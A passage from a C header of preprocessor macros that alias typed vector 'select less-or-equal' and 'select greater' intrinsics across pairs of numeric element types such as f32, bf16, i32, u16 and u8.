v_u32_f32_sel_leq_v_v_v_s_b v_u32_f32_sel_leq_v_v_v_v_b\n#define v_u32_f32_sel_leq_v_v_v_v(a, b, c, d) v_u32_f32_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_f32_sel_leq_v_s_v_v v_u32_f32_sel_leq_v_v_v_v\n#define v_u32_f32_sel_leq_v_v_v_s v_u32_f32_sel_leq_v_v_v_v\n\n#define v_u32_f32_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_leq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_f32_sel_leq_v_s_v_v_vb v_u32_f32_sel_leq_v_v_v_v_vb\n#define v_u32_f32_sel_leq_v_v_v_s_vb v_u32_f32_sel_leq_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_leq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_bf16_sel_leq_v_s_v_v_b v_bf16_bf16_sel_leq_v_v_v_v_b\n#define v_bf16_bf16_sel_leq_v_v_v_s_b v_bf16_bf16_sel_leq_v_v_v_v_b\n#define v_bf16_bf16_sel_leq_v_v_v_v(a, b, c, d) v_bf16_bf16_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_bf16_sel_leq_v_s_v_v v_bf16_bf16_sel_leq_v_v_v_v\n#define v_bf16_bf16_sel_leq_v_v_v_s v_bf16_bf16_sel_leq_v_v_v_v\n\n#define v_bf16_bf16_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_leq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_bf16_sel_leq_v_s_v_v_vb v_bf16_bf16_sel_leq_v_v_v_v_vb\n#define v_bf16_bf16_sel_leq_v_v_v_s_vb v_bf16_bf16_sel_leq_v_v_v_v_vb\n\n// bf16 - i16\n#define v_i16_bf16_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_leq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_bf16_sel_leq_v_s_v_v_b v_i16_bf16_sel_leq_v_v_v_v_b\n#define v_i16_bf16_sel_leq_v_v_v_s_b v_i16_bf16_sel_leq_v_v_v_v_b\n#define v_i16_bf16_sel_leq_v_v_v_v(a, b, c, d) v_i16_bf16_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_bf16_sel_leq_v_s_v_v v_i16_bf16_sel_leq_v_v_v_v\n#define v_i16_bf16_sel_leq_v_v_v_s v_i16_bf16_sel_leq_v_v_v_v\n\n#define v_i16_bf16_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_leq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_bf16_sel_leq_v_s_v_v_vb v_i16_bf16_sel_leq_v_v_v_v_vb\n#define v_i16_bf16_sel_leq_v_v_v_s_vb v_i16_bf16_sel_leq_v_v_v_v_vb\n\n// bf16 - u16\n#define v_u16_bf16_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_leq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_bf16_sel_leq_v_s_v_v_b v_u16_bf16_sel_leq_v_v_v_v_b\n#define v_u16_bf16_sel_leq_v_v_v_s_b v_u16_bf16_sel_leq_v_v_v_v_b\n#define v_u16_bf16_sel_leq_v_v_v_v(a, b, c, d) v_u16_bf16_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_bf16_sel_leq_v_s_v_v v_u16_bf16_sel_leq_v_v_v_v\n#define v_u16_bf16_sel_leq_v_v_v_s v_u16_bf16_sel_leq_v_v_v_v\n\n#define v_u16_bf16_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_leq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_bf16_sel_leq_v_s_v_v_vb v_u16_bf16_sel_leq_v_v_v_v_vb\n#define v_u16_bf16_sel_leq_v_v_v_s_vb v_u16_bf16_sel_leq_v_v_v_v_vb\n\n// i32 - f32\n#define v_f32_i32_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_leq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_i32_sel_leq_v_s_v_v_b v_f32_i32_sel_leq_v_v_v_v_b\n#define v_f32_i32_sel_leq_v_v_v_s_b v_f32_i32_sel_leq_v_v_v_v_b\n#define v_f32_i32_sel_leq_v_v_v_v(a, b, c, d) v_f32_i32_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_i32_sel_leq_v_s_v_v v_f32_i32_sel_leq_v_v_v_v\n#define v_f32_i32_sel_leq_v_v_v_s v_f32_i32_sel_leq_v_v_v_v\n\n#define v_f32_i32_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_leq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_i32_sel_leq_v_s_v_v_vb v_f32_i32_sel_leq_v_v_v_v_vb\n#define v_f32_i32_sel_leq_v_v_v_s_vb v_f32_i32_sel_leq_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_leq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_i32_sel_leq_v_s_v_v_b v_i32_i32_sel_leq_v_v_v_v_b\n#define v_i32_i32_sel_leq_v_v_v_s_b v_i32_i32_sel_leq_v_v_v_v_b\n#define v_i32_i32_sel_leq_v_v_v_v(a, b, c, d) v_i32_i32_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_i32_sel_leq_v_s_v_v v_i32_i32_sel_leq_v_v_v_v\n#define v_i32_i32_sel_leq_v_v_v_s v_i32_i32_sel_leq_v_v_v_v\n\n#define v_i32_i32_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_leq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_i32_sel_leq_v_s_v_v_vb v_i32_i32_sel_leq_v_v_v_v_vb\n#define v_i32_i32_sel_leq_v_v_v_s_vb v_i32_i32_sel_leq_v_v_v_v_vb\n\n// i32 - u32\n#define v_u32_i32_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_leq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_i32_sel_leq_v_s_v_v_b v_u32_i32_sel_leq_v_v_v_v_b\n#define v_u32_i32_sel_leq_v_v_v_s_b v_u32_i32_sel_leq_v_v_v_v_b\n#define v_u32_i32_sel_leq_v_v_v_v(a, b, c, d) v_u32_i32_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_i32_sel_leq_v_s_v_v v_u32_i32_sel_leq_v_v_v_v\n#define v_u32_i32_sel_leq_v_v_v_s v_u32_i32_sel_leq_v_v_v_v\n\n#define v_u32_i32_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_leq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_i32_sel_leq_v_s_v_v_vb v_u32_i32_sel_leq_v_v_v_v_vb\n#define v_u32_i32_sel_leq_v_v_v_s_vb v_u32_i32_sel_leq_v_v_v_v_vb\n\n// u32 - f32\n#define v_f32_u32_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_leq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_u32_sel_leq_v_s_v_v_b v_f32_u32_sel_leq_v_v_v_v_b\n#define v_f32_u32_sel_leq_v_v_v_s_b v_f32_u32_sel_leq_v_v_v_v_b\n#define v_f32_u32_sel_leq_v_v_v_v(a, b, c, d) v_f32_u32_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_u32_sel_leq_v_s_v_v v_f32_u32_sel_leq_v_v_v_v\n#define v_f32_u32_sel_leq_v_v_v_s v_f32_u32_sel_leq_v_v_v_v\n\n#define v_f32_u32_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_leq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_u32_sel_leq_v_s_v_v_vb v_f32_u32_sel_leq_v_v_v_v_vb\n#define v_f32_u32_sel_leq_v_v_v_s_vb v_f32_u32_sel_leq_v_v_v_v_vb\n\n// u32 - i32\n#define v_i32_u32_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_leq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_u32_sel_leq_v_s_v_v_b v_i32_u32_sel_leq_v_v_v_v_b\n#define v_i32_u32_sel_leq_v_v_v_s_b v_i32_u32_sel_leq_v_v_v_v_b\n#define v_i32_u32_sel_leq_v_v_v_v(a, b, c, d) v_i32_u32_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_u32_sel_leq_v_s_v_v v_i32_u32_sel_leq_v_v_v_v\n#define v_i32_u32_sel_leq_v_v_v_s v_i32_u32_sel_leq_v_v_v_v\n\n#define v_i32_u32_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_leq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_u32_sel_leq_v_s_v_v_vb v_i32_u32_sel_leq_v_v_v_v_vb\n#define v_i32_u32_sel_leq_v_v_v_s_vb v_i32_u32_sel_leq_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_leq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_u32_sel_leq_v_s_v_v_b v_u32_u32_sel_leq_v_v_v_v_b\n#define v_u32_u32_sel_leq_v_v_v_s_b v_u32_u32_sel_leq_v_v_v_v_b\n#define v_u32_u32_sel_leq_v_v_v_v(a, b, c, d) v_u32_u32_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_u32_sel_leq_v_s_v_v v_u32_u32_sel_leq_v_v_v_v\n#define v_u32_u32_sel_leq_v_v_v_s v_u32_u32_sel_leq_v_v_v_v\n\n#define v_u32_u32_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_leq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_u32_sel_leq_v_s_v_v_vb v_u32_u32_sel_leq_v_v_v_v_vb\n#define v_u32_u32_sel_leq_v_v_v_s_vb v_u32_u32_sel_leq_v_v_v_v_vb\n\n// i16 - bf16\n#define v_bf16_i16_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_leq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_i16_sel_leq_v_s_v_v_b v_bf16_i16_sel_leq_v_v_v_v_b\n#define v_bf16_i16_sel_leq_v_v_v_s_b v_bf16_i16_sel_leq_v_v_v_v_b\n#define v_bf16_i16_sel_leq_v_v_v_v(a, b, c, d) v_bf16_i16_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_i16_sel_leq_v_s_v_v v_bf16_i16_sel_leq_v_v_v_v\n#define v_bf16_i16_sel_leq_v_v_v_s v_bf16_i16_sel_leq_v_v_v_v\n\n#define v_bf16_i16_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_leq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_i16_sel_leq_v_s_v_v_vb v_bf16_i16_sel_leq_v_v_v_v_vb\n#define v_bf16_i16_sel_leq_v_v_v_s_vb v_bf16_i16_sel_leq_v_v_v_v_vb\n\n// i16 - i16\n#define v_i16_i16_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_leq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_i16_sel_leq_v_s_v_v_b v_i16_i16_sel_leq_v_v_v_v_b\n#define v_i16_i16_sel_leq_v_v_v_s_b v_i16_i16_sel_leq_v_v_v_v_b\n#define v_i16_i16_sel_leq_v_v_v_v(a, b, c, d) v_i16_i16_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_i16_sel_leq_v_s_v_v v_i16_i16_sel_leq_v_v_v_v\n#define v_i16_i16_sel_leq_v_v_v_s v_i16_i16_sel_leq_v_v_v_v\n\n#define v_i16_i16_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_leq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_i16_sel_leq_v_s_v_v_vb v_i16_i16_sel_leq_v_v_v_v_vb\n#define v_i16_i16_sel_leq_v_v_v_s_vb v_i16_i16_sel_leq_v_v_v_v_vb\n\n// i16 - u16\n#define v_u16_i16_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_leq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_i16_sel_leq_v_s_v_v_b v_u16_i16_sel_leq_v_v_v_v_b\n#define v_u16_i16_sel_leq_v_v_v_s_b v_u16_i16_sel_leq_v_v_v_v_b\n#define v_u16_i16_sel_leq_v_v_v_v(a, b, c, d) v_u16_i16_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_i16_sel_leq_v_s_v_v v_u16_i16_sel_leq_v_v_v_v\n#define v_u16_i16_sel_leq_v_v_v_s v_u16_i16_sel_leq_v_v_v_v\n\n#define v_u16_i16_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_leq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_i16_sel_leq_v_s_v_v_vb v_u16_i16_sel_leq_v_v_v_v_vb\n#define v_u16_i16_sel_leq_v_v_v_s_vb v_u16_i16_sel_leq_v_v_v_v_vb\n\n// u16 - bf16\n#define v_bf16_u16_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_leq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_u16_sel_leq_v_s_v_v_b v_bf16_u16_sel_leq_v_v_v_v_b\n#define v_bf16_u16_sel_leq_v_v_v_s_b v_bf16_u16_sel_leq_v_v_v_v_b\n#define v_bf16_u16_sel_leq_v_v_v_v(a, b, c, d) v_bf16_u16_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_u16_sel_leq_v_s_v_v v_bf16_u16_sel_leq_v_v_v_v\n#define v_bf16_u16_sel_leq_v_v_v_s v_bf16_u16_sel_leq_v_v_v_v\n\n#define v_bf16_u16_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_leq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_u16_sel_leq_v_s_v_v_vb v_bf16_u16_sel_leq_v_v_v_v_vb\n#define v_bf16_u16_sel_leq_v_v_v_s_vb v_bf16_u16_sel_leq_v_v_v_v_vb\n\n// u16 - i16\n#define v_i16_u16_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_leq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_u16_sel_leq_v_s_v_v_b v_i16_u16_sel_leq_v_v_v_v_b\n#define v_i16_u16_sel_leq_v_v_v_s_b v_i16_u16_sel_leq_v_v_v_v_b\n#define v_i16_u16_sel_leq_v_v_v_v(a, b, c, d) v_i16_u16_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_u16_sel_leq_v_s_v_v v_i16_u16_sel_leq_v_v_v_v\n#define v_i16_u16_sel_leq_v_v_v_s v_i16_u16_sel_leq_v_v_v_v\n\n#define v_i16_u16_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_leq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_u16_sel_leq_v_s_v_v_vb v_i16_u16_sel_leq_v_v_v_v_vb\n#define v_i16_u16_sel_leq_v_v_v_s_vb v_i16_u16_sel_leq_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_leq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_u16_sel_leq_v_s_v_v_b v_u16_u16_sel_leq_v_v_v_v_b\n#define v_u16_u16_sel_leq_v_v_v_s_b v_u16_u16_sel_leq_v_v_v_v_b\n#define v_u16_u16_sel_leq_v_v_v_v(a, b, c, d) v_u16_u16_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_u16_sel_leq_v_s_v_v v_u16_u16_sel_leq_v_v_v_v\n#define v_u16_u16_sel_leq_v_v_v_s v_u16_u16_sel_leq_v_v_v_v\n\n#define v_u16_u16_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_leq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_u16_sel_leq_v_s_v_v_vb v_u16_u16_sel_leq_v_v_v_v_vb\n#define v_u16_u16_sel_leq_v_v_v_s_vb v_u16_u16_sel_leq_v_v_v_v_vb\n\n// i8 - u8\n#define v_i8_i8_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_leq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_leq_v_s_v_v_b v_i8_i8_sel_leq_v_v_v_v_b\n#define v_i8_i8_sel_leq_v_v_v_s_b v_i8_i8_sel_leq_v_v_v_v_b\n#define v_i8_i8_sel_leq_v_v_v_v(a, b, c, d) v_i8_i8_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_i8_sel_leq_v_s_v_v v_i8_i8_sel_leq_v_v_v_v\n#define v_i8_i8_sel_leq_v_v_v_s v_i8_i8_sel_leq_v_v_v_v\n\n#define v_i8_i8_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_leq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_leq_v_s_v_v_vb v_i8_i8_sel_leq_v_v_v_v_vb\n#define v_i8_i8_sel_leq_v_v_v_s_vb v_i8_i8_sel_leq_v_v_v_v_vb\n\n// i8 - u8\n#define v_u8_i8_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_leq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_leq_v_s_v_v_b v_u8_i8_sel_leq_v_v_v_v_b\n#define v_u8_i8_sel_leq_v_v_v_s_b v_u8_i8_sel_leq_v_v_v_v_b\n#define v_u8_i8_sel_leq_v_v_v_v(a, b, c, d) v_u8_i8_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_i8_sel_leq_v_s_v_v v_u8_i8_sel_leq_v_v_v_v\n#define v_u8_i8_sel_leq_v_v_v_s v_u8_i8_sel_leq_v_v_v_v\n\n#define v_u8_i8_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_leq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_leq_v_s_v_v_vb v_u8_i8_sel_leq_v_v_v_v_vb\n#define v_u8_i8_sel_leq_v_v_v_s_vb v_u8_i8_sel_leq_v_v_v_v_vb\n\n// u8 - i8\n#define v_i8_u8_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_leq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_leq_v_s_v_v_b v_i8_u8_sel_leq_v_v_v_v_b\n#define v_i8_u8_sel_leq_v_v_v_s_b v_i8_u8_sel_leq_v_v_v_v_b\n#define v_i8_u8_sel_leq_v_v_v_v(a, b, c, d) v_i8_u8_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_u8_sel_leq_v_s_v_v v_i8_u8_sel_leq_v_v_v_v\n#define v_i8_u8_sel_leq_v_v_v_s v_i8_u8_sel_leq_v_v_v_v\n\n#define v_i8_u8_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_leq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_leq_v_s_v_v_vb v_i8_u8_sel_leq_v_v_v_v_vb\n#define v_i8_u8_sel_leq_v_v_v_s_vb v_i8_u8_sel_leq_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_leq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_leq_v_s_v_v_b v_u8_u8_sel_leq_v_v_v_v_b\n#define v_u8_u8_sel_leq_v_v_v_s_b v_u8_u8_sel_leq_v_v_v_v_b\n#define v_u8_u8_sel_leq_v_v_v_v(a, b, c, d) v_u8_u8_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_u8_sel_leq_v_s_v_v v_u8_u8_sel_leq_v_v_v_v\n#define v_u8_u8_sel_leq_v_v_v_s v_u8_u8_sel_leq_v_v_v_v\n\n#define v_u8_u8_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_leq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_leq_v_s_v_v_vb v_u8_u8_sel_leq_v_v_v_v_vb\n#define v_u8_u8_sel_leq_v_v_v_s_vb v_u8_u8_sel_leq_v_v_v_v_vb\n\n// SEL_GRT\n\n// f32 - f32\n#define v_f32_f32_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_grt_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_f32_sel_grt_v_s_v_v_b v_f32_f32_sel_grt_v_v_v_v_b\n#define v_f32_f32_sel_grt_v_v_v_s_b v_f32_f32_sel_grt_v_v_v_v_b\n#define v_f32_f32_sel_grt_v_v_v_v(a, b, c, d) v_f32_f32_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_f32_sel_grt_v_s_v_v v_f32_f32_sel_grt_v_v_v_v\n#define v_f32_f32_sel_grt_v_v_v_s v_f32_f32_sel_grt_v_v_v_v\n\n#define v_f32_f32_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_grt_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_f32_sel_grt_v_s_v_v_vb v_f32_f32_sel_grt_v_v_v_v_vb\n#define v_f32_f32_sel_grt_v_v_v_s_vb v_f32_f32_sel_grt_v_v_v_v_vb\n\n// f32 - i32\n#define v_i32_f32_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_grt_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_f32_sel_grt_v_s_v_v_b v_i32_f32_sel_grt_v_v_v_v_b\n#define v_i32_f32_sel_grt_v_v_v_s_b v_i32_f32_sel_grt_v_v_v_v_b\n#define v_i32_f32_sel_grt_v_v_v_v(a, b, c, d) v_i32_f32_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_f32_sel_grt_v_s_v_v v_i32_f32_sel_grt_v_v_v_v\n#define v_i32_f32_sel_grt_v_v_v_s v_i32_f32_sel_grt_v_v_v_v\n\n#define v_i32_f32_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_grt_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_f32_sel_grt_v_s_v_v_vb v_i32_f32_sel_grt_v_v_v_v_vb\n#define v_i32_f32_sel_grt_v_v_v_s_vb v_i32_f32_sel_grt_v_v_v_v_vb\n\n// f32 - u32\n#define v_u32_f32_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_grt_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_f32_sel_grt_v_s_v_v_b v_u32_f32_sel_grt_v_v_v_v_b\n#define v_u32_f32_sel_grt_v_v_v_s_b v_u32_f32_sel_grt_v_v_v_v_b\n#define v_u32_f32_sel_grt_v_v_v_v(a, b, c, d) v_u32_f32_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_f32_sel_grt_v_s_v_v v_u32_f32_sel_grt_v_v_v_v\n#define v_u32_f32_sel_grt_v_v_v_s v_u32_f32_sel_grt_v_v_v_v\n\n#define v_u32_f32_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_grt_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_f32_sel_grt_v_s_v_v_vb v_u32_f32_sel_grt_v_v_v_v_vb\n#define v_u32_f32_sel_grt_v_v_v_s_vb v_u32_f32_sel_grt_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_grt_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_bf16_sel_grt_v_s_v_v_b v_bf16_bf16_sel_grt_v_v_v_v_b\n#define v_bf16_bf16_sel_grt_v_v_v_s_b v_bf16_bf16_sel_grt_v_v_v_v_b\n#define v_bf16_bf16_sel_grt_v_v_v_v(a, b, c, d) v_bf16_bf16_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_bf16_sel_grt_v_s_v_v v_bf16_bf16_sel_grt_v_v_v_v\n#define v_bf16_bf16_sel_grt_v_v_v_s v_bf16_bf16_sel_grt_v_v_v_v\n\n#define v_bf16_bf16_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_grt_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_bf16_sel_grt_v_s_v_v_vb v_bf16_bf16_sel_grt_v_v_v_v_vb\n#define v_bf16_bf16_sel_grt_v_v_v_s_vb v_bf16_bf16_sel_grt_v_v_v_v_vb\n\n// bf16 - i16\n#define v_i16_bf16_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_grt_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_bf16_sel_grt_v_s_v_v_b v_i16_bf16_sel_grt_v_v_v_v_b\n#define v_i16_bf16_sel_grt_v_v_v_s_b v_i16_bf16_sel_grt_v_v_v_v_b\n#define v_i16_bf16_sel_grt_v_v_v_v(a, b, c, d) v_i16_bf16_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_bf16_sel_grt_v_s_v_v v_i16_bf16_sel_grt_v_v_v_v\n#define v_i16_bf16_sel_grt_v_v_v_s v_i16_bf16_sel_grt_v_v_v_v\n\n#define v_i16_bf16_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_grt_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_bf16_sel_grt_v_s_v_v_vb v_i16_bf16_sel_grt_v_v_v_v_vb\n#define v_i16_bf16_sel_grt_v_v_v_s_vb v_i16_bf16_sel_grt_v_v_v_v_vb\n\n// bf16 - u16\n#define v_u16_bf16_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_grt_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_bf16_sel_grt_v_s_v_v_b v_u16_bf16_sel_grt_v_v_v_v_b\n#define v_u16_bf16_sel_grt_v_v_v_s_b v_u16_bf16_sel_grt_v_v_v_v_b\n#define v_u16_bf16_sel_grt_v_v_v_v(a, b, c, d) v_u16_bf16_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_bf16_sel_grt_v_s_v_v v_u16_bf16_sel_grt_v_v_v_v\n#define v_u16_bf16_sel_grt_v_v_v_s v_u16_bf16_sel_grt_v_v_v_v\n\n#define v_u16_bf16_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_grt_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_bf16_sel_grt_v_s_v_v_vb v_u16_bf16_sel_grt_v_v_v_v_vb\n#define v_u16_bf16_sel_grt_v_v_v_s_vb v_u16_bf16_sel_grt_v_v_v_v_vb\n\n// i32 - f32\n#define v_f32_i32_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_grt_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_i32_sel_grt_v_s_v_v_b v_f32_i32_sel_grt_v_v_v_v_b\n#define v_f32_i32_sel_grt_v_v_v_s_b v_f32_i32_sel_grt_v_v_v_v_b\n#define v_f32_i32_sel_grt_v_v_v_v(a, b, c, d) v_f32_i32_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_i32_sel_grt_v_s_v_v v_f32_i32_sel_grt_v_v_v_v\n#define v_f32_i32_sel_grt_v_v_v_s v_f32_i32_sel_grt_v_v_v_v\n\n#define v_f32_i32_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_grt_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_i32_sel_grt_v_s_v_v_vb v_f32_i32_sel_grt_v_v_v_v_vb\n#define v_f32_i32_sel_grt_v_v_v_s_vb v_f32_i32_sel_grt_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_grt_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_i32_sel_grt_v_s_v_v_b v_i32_i32_sel_grt_v_v_v_v_b\n#define v_i32_i32_sel_grt_v_v_v_s_b v_i32_i32_sel_grt_v_v_v_v_b\n#define v_i32_i32_sel_grt_v_v_v_v(a, b, c, d) v_i32_i32_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_i32_sel_grt_v_s_v_v v_i32_i32_sel_grt_v_v_v_v\n#define 